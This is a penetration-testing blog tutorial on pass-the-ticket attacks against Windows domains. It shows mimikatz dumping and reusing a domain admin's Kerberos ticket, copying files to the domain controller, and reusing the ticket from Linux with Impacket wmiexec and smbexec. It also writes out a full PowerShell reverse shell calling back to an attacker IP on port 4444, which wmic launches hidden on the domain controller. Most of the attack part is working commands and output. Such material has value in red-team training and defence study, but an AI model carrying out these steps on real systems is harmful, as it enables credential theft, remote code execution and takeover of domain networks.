From pass-the-hash to pass-the-ticket with no pain

Andrea Pierini
June 30, 2017 by
Andrea Pierini

We are all grateful to the Microsoft which gave us the possibility to use the "Pass the Hash" technique! In short: if we have the NTLM hashes of the user password, we can authenticate against the remote system without knowing the real password, just using the hashes.

Things were (finally) changing, starting from Windows 7, Microsoft tried to "patch" this vulnerability with questionable results (excellent article here: http://www.harmj0y.net/blog/redteaming/pass-the-hash-is-dead-long-live-localaccounttokenfilterpolicy/).

Earn two pentesting certifications at once!

Earn two pentesting certifications at once!

Enroll in one boot camp to earn both your Certified Ethical Hacker (CEH) and CompTIA PenTest+ certifications — backed with an Exam Pass Guarantee.

But with the advent of Windows 2012R2 and the corresponding Domain Functional Level, it is possible to completely prohibit the NTLM authentication and consequently PTH for domain users belonging to the special group "Protected Users Group."

Sure, with a metepreter session we could easily load the "incognito" module and impersonate the domain admin user who just logged in by "stealing" his Kerberos ticket:

And with this appropriate shell start our lateral movement:

But what if we can't use Metasploit or similar tools because the Antivirus is blocking us?

Game over? No! We have the Kerberos Authentication to play with. Instead of passing the hash, we will pass the ticket!

Imagine this scenario:

  • We have a remote shell -reverse or bind, for example, PowerShell - with Local System privileges obtained on an MSSQL server through xp_cmdshell via sqlinjection

With our obfuscated .ps1 version of "mimikatz" we can't catch the clear text passwords of the logged domain administrator given that we have to face with a Windows 2012 Server:

mimikatz(powershell) # sekurlsa::logonpasswords

Authentication Id : 0 ; 389848 (00000000:0005f2d8)

Session : Interactive from 2

User Name : administrator


Logon Server : SERVER2012DC

Logon Time : 5/12/2017 6:45:15 PM

SID : S-1-5-21-3534665177-2148510708-2241433719-500

msv :

[00010000] CredentialKeys

* RootKey : xxxxx

* DPAPI : yyyyy

tspkg :

wdigest :

* Username : Administrator

* Domain : MYDOMAINB

* Password : (null)

kerberos :

* Username : administrator


* Password : (null)

ssp :    KO

credman :

And the following command won't reveal us anything about all the keys associated with the domain administrator:

mimikatz(powershell) # sekurlsa::ekeys

Now we are pretty sure that our Domain Admin belongs the special "Protected users group."

So, let's play with Kerberos!

First of all, let's see if we can export all the kerberos tickets.

mimikatz(powershell) # sekurlsa::tickets /export

PS C:testtemp> get-childitem | select name
















Nice catch! We have all the tickets and the interesting one is the TGT (Ticket Granting Ticket) for Domain Admin, who logged into this server:


Let's rename the file to "admin.krb"

PS C:testtemp> copy "*-2-0-40e10000-Administrator@krbtgt-MYDOMAINB.LOCAL.kirbi" admin.krb

PS C:testtemp> dir *.krb

Directory: C:testtemp

Mode LastWriteTime Length Name

---- ------------- ------ ----

-a--- 5/12/2017 7:17 PM 1605 admin.krb

We have all we need, time to load this ticket and impersonate the domain admin. How? With mimimkatz's feature "Pass the Ticket"!

mimikatz(powershell) # kerberos::ptt admin.krb

* File: 'admin.krb': OK

The ticket was successfully loaded. Time to check it:

PS C:testtemp> klist

Current LogonId is 0:0x3e7

Cached Tickets: (1)

#0>    Client: Administrator @ MYDOMAINB.LOCAL


KerbTicket Encryption Type: AES-256-CTS-HMAC-SHA1-96

Ticket Flags 0x40e10000 -> forwardable renewable initial pre_authent name_canonicalize

Start Time: 5/16/2017 22:13:31 (local)

End Time: 5/17/2017 8:13:31 (local)

Renew Time: 5/23/2017 22:13:31 (local)

Session Key Type: AES-256-CTS-HMAC-SHA1-96

Cache Flags: 0x1 -> PRIMARY

Kdc Called:

Great! Ticket loaded and valid for 10 hours which is the default lifetime of TGT tickets.

So, we are able to impersonate the admin user, let's check it by copying a file in C: drive of the domain controller:

PS C:testtemp> copy test.txt server2012dcc$

PS C:testtemp> dir server2012dcc$

Directory: server2012dcc$

Mode LastWriteTime Length Name

---- ------------- ------ ----

d---- 8/22/2013 5:52 PM PerfLogs

d-r-- 2/17/2017 8:23 AM Program Files

d---- 1/14/2017 7:35 AM Program Files (x86)

d---- 3/29/2017 10:03 PM temp

d---- 4/30/2017 4:39 PM test

d-r-- 2/17/2017 8:28 AM Users

d---- 3/30/2017 12:21 AM Windows

-a--- 5/16/2017 10:51 PM 10 test.txt

The file was successfully copied because we have domain admin rights!

Remember: you have to refer to the remote server with his host name and NOT the IP address otherwise NTLM authentication would occur.

And from now on we could use the wonderful wmic.exe utility for our lateral movement given that it is possible to execute a remote process using Kerberos authentication

For example, let's execute a remote reverse PowerShell with domain admin rights by using our Kerberos ticket.

First of all, let's create our ps1 script:

PS C:testtmp>echo '$client = New-Object System.Net.Sockets.TCPClient("OUR_IP",4444)' > rev.ps1

PS C:testtmp>echo '$stream = $client.GetStream()' >> rev.ps1

PS C:testtmp>echo '[byte[]]$bytes = 0..65535|%{0}' >> rev.ps1

PS C:testtmp>echo 'while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){ ' >> rev.ps1

PS C:testtmp>echo '$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i) ' >> rev.ps1

PS C:testtmp>echo '$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "PS " + (pwd).Path + "> " ' >> rev.ps1

PS C:testtmp>echo '$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2) ' >> rev.ps1

PS C:testtmp>echo '$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()} ' >> rev.ps1

PS C:testtmp>echo '$client.Close() ' >> rev.ps1

Copy it on the DC:

PS C:testtmp>copy rev.ps1 server2012dcc$windowstemp


And execute it on DC:

PS C:testtmp> wmic /authority:"kerberos:MYDOMAINBSERVER2012DC" /node:SERVER2012DC process call create "powershell -executionpolicy bypass -windowstyle hidden -f c:windowstemprev.ps1"

Executing (Win32_Process)->Create()

Method execution successful.

Out Parameters:

instance of __PARAMETERS


ProcessId = 4528;

ReturnValue = 0;


Wonderful shell, isn'it?

OK, now let's move a step forward. What if we would use this ticket for accessing a remote Windows system from our Linux box? Is it possible? Oh yes!

First of all, we have to install Kerberos (apt-get install krb5-user or yum install krb5-workstation).

Second, we have to convert our admin.krb ticket from "kirbi" to "ccache" format. How? With "kekeo" (by Benjamin Deply, author of mimikatz) a suite to play with Kerberos and which can be downloaded here:


This suite has to be built with Visual Studio (I used 2015 version) along with the commercial library ASN.1/C.

  • Download and install ASN.1/C 64 bit version with the provided demo license http://www.oss.com/asn1/products/asn1-c/asn1-c.html
  • Download the kekeo suite in a dedicated directory (ex: c:kekeo)
  • Copy asn1dflt.msx64.zp8 located in <oss_install_dir>winx64[.tria]l10.4.0.1asn1dflt to c:kekeomodulesasn1

In ASN1. Studio open the project: c:kekeomoduleskull_m_kerberos_asn1.a1sproj and generate files with Project/Compile

It will create:

  1. c:kekeomoduleskull_m_kerberos_asn1.c
  2. c:kekeomoduleskull_m_kerberos_asn1.h

Then you have to copy from your OSS ASN.1/C install dir

  • includeossasn1.h to c:kekeoinc
  • includeosstype.h to c:kekeoinc
  • libtoedcode.libto c:kekeolib
  • libossiphlp.libto c:kekeolib

Rename "kull_m_kerberos_oss_asn1_internal.c" to "kull_m_kerberos_oss_asn1_internal_x64.c" in c:kekeomodulesasn1

Time to generate our solution from Visual Studio by opening the project kekeo.sln:

If everything works fine we will have your executable "kekeo.exe" compiled. (Don't forget to disable "stop compilation on warning" setting /WX- option in the C++ compiler option in Visual Studio.

After that, download your admin.krb ticket and convert it to ccache format:

We have now our ticket in .ccache format, let's copy it on our Linux box and load it.

First of all, we have to synchronize time with the Domain Controller otherwise we could have issues with the Kerberos Kerberos authentication which is in part based upon the time stamps of tickets.

# rdate -n <IP_DC>

Fri May 19 02:49:23 CEST 2017

Then copy the ticket file in the correct location (or just set the environment variable KRB5CCNAME to correct location):

# cp amdin.ccache /tmp/krb5cc_0

The command "klist" will confirm that the ticket was correctly loaded:

Ticket cache: FILE:/tmp/krb5cc_0

Default principal: Administrator@MYDOMAINB.LOCAL

Valid starting Expires Service principal

03/29/2017 21:26:37 03/30/2017 07:26:37 krbtgt/MYDOMAINB.LOCAL@MYDOMAINB.LOCAL

renew until 04/05/2017 21:26:37

At this point, all we need is a tool which enables Kerberos authentication, for example, wmiexec.py from Impacket suite (https://github.com/CoreSecurity/impacket):

wmiexec.py -k -debug -no-pass -dc-ip mydomainb.local/Administrator@server2012dc.MYDOMAINB.LOCAL

We have our cmd shell on our Linux box with Kerberos authentication using our exported ticket!

We could also use smbexec.py:

# smbexec.py -k -no-pass -dc-ip mydomainb.local/Administrator@server2012dc.MYDOMAINB.LOCAL

What should you learn next?

What should you learn next?

From SOC Analyst to Secure Coder to Security Manager — our team of experts has 12 free training plans to help you hit your goals. Get your free copy now.

That's all, enjoy Kerberos!

Andrea Pierini
Andrea Pierini

Andrea Pierini is an IT Architecture and Security Manager with long-term experience and in-depth knowledge covering all aspects of IT — from SW development to systems administration, networking administration and IT security. He is also an expert in *NIX* and Windows environments.